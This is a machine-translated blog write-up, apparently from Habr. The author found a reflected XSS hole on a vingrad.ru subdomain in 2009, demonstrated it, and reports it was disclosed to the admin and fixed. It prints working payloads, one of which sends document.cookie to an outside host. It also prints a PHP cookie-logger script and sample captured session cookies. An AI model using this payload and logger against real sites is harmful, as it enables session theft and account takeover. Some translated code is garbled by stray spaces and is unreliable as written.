1つのリソースの履歴

フォーラムのロゴ 多くのhabrayuzersは、少なくとも一度は名刺サイト、ブログなどの脆弱性であるXSSの脆弱性に遭遇しました。 しかし、 yandexmailyoutubeなどの巨人がこれから保護されることを望んでいたと信じてましたがchelovekdimkaからの一連の記事がこれを私たちに納得させました



しかし、プログラマ専用の最大のRunetリソースの1つの状況はどうでしょうか。 誰が気にする-ようこそ



それがすべて始まった方法



庭には2009年9月でした。 私は環境に優しく、気の利いたウェブ開発者で、PHPセクションの共同モデレーターのポストを受け取りました。 象がチャンスを探っていたので幸せでしたが、突然、私は狂気の思考に立ち会いました。「フォーラムで脆弱性をチェックするべきですか?」

SQLの脆弱性は検出できませんでしたが、XSSが見つかりました。



XSS-それは何で、何と一緒に食べますか?!


XSS攻撃は、Web上の対話型情報システムの脆弱性の一種です。 XSSは、何らかの理由でユーザースクリプトがサーバーによって生成されたページに分類されると発生します。 このような攻撃の特徴は、サーバーを直接攻撃する代わりに、クライアントを攻撃する手段として脆弱なサーバーを使用することです。



それらは条件付きで2つのタイプに分けられます:



検索フォーラム



N時間にわたるさまざまな要求のためのエンジンの調査と苦痛の後、私の手は落ちました。 そして、アイデアはそれほどバラ色ではないように見え始めました。 そして、クレイジーな考え2が来ました-「フォーラムがそれ自身を貸さないならば、あなた反対側の後ろから行かなければなりません。」

それでも、フォーラムはInvision Power Boardに基づいており、すべてのパッチはそれまでに配布されました。




フレンドリーなリソースを探索する(* .vingrad.ru)



私の注意は、知識ベース、つまり検索フィールドに惹かれましたが、それには十分な理由があります。



お気に入りの<script>アラート( 'XSS'); </ script>コンストラクトをフィールドに追加したが、何も受け取れなかった。 パラメーターを少し遊んだ後、エラーメッセージを含むerror.phpスクリプトにリダイレクトされ、テキストは通常​​のGETで送信されました。 利益!



手首を軽く押すと、アドレスバーのデータが即座にhttpに変わりました:// <subdomain> .vingrad.ru / error.php?

あなたはあなた自身が何が起こったのか推測したと思いますが、それでも:

Xss

約10分間、私は馬鹿のように画面に微笑んで、永遠について考えました。




「利点」を抽出することは可能ですか?



もちろん、私は望んでおらず 、利益を得ようともしませんでした。登録ユーザーのCookieを取得したかっただけです。

しかし、承認フォームは私を混乱させましたが、私はフォーラムで承認されています。 これは、エンドツーエンドの認証が機能しないことを意味し、何らかの方法でユーザーに強制的にログインさせてから、アドレスにアクセスする必要があります。 ソーシャルエンジニアリングでは、私は完全にゼロなので、他の方法を探しています。



Cookieセットを一目見れば十分です。



脆弱性が悪用される可能性があります(すべてのサブドメインにクッキーが設定されました-* .vingrad.ru)。



リクエストをこれに変更します:

http:// <subdomain> .vingrad.ru / error.php?msg = <script> document.write(document.cookie.substring(0、document.cookie.length))</ script>

そして、待望のデータを取得します。

PHPSESSID = ag08ccg6fsdf5fdgsdf34a34s536df4f;

clickedFolderFrameless =;

PHPSESSID = eccf4sdasbefea3c8esgdf27997d;

pforumsession_id = 3ds44554sgg6754f1dd73f27ab7ec;

pforummember_id = 007;

pforumpass_hash = u3457a1259a39asb2ad4c77e682;





エクスプロイトの脆弱性



ユーザーCookieを慎重にファイルに保存する小さなPHPスクリプト:

<?php if( isset( $_GET['q'] ) ) { $fopen = fopen( time().'.cookie', 'w' ); fwrite( $fopen, $_GET['q'] ); fclose( $fopen ); } header('Location: http://forum.vingrad.ru/forum/act-idx.html'); ?>
      
      





最後に変更されたリクエスト:

http:// <サブドメイン> .vingrad.ru / error.php?msg = <script> document.location.href = 'http://www.example.com/forum.php?vingrad ='%2Bescape(document。 cookie.substring(0、document.cookie.length))</ script>

数人の友人のCookieの収集が許可されています

奇跡はありません。実験のすべての参加者にリンクが送信され、参加者はそれを通過しました。


終わり



当然、管理者はこれについて通知され、彼と一緒にこの脆弱性をクローズしました。

すべての犠牲者に謝罪がもたらされました。
気分を害した人はいませんでした。




いくつかのリンク





All Articles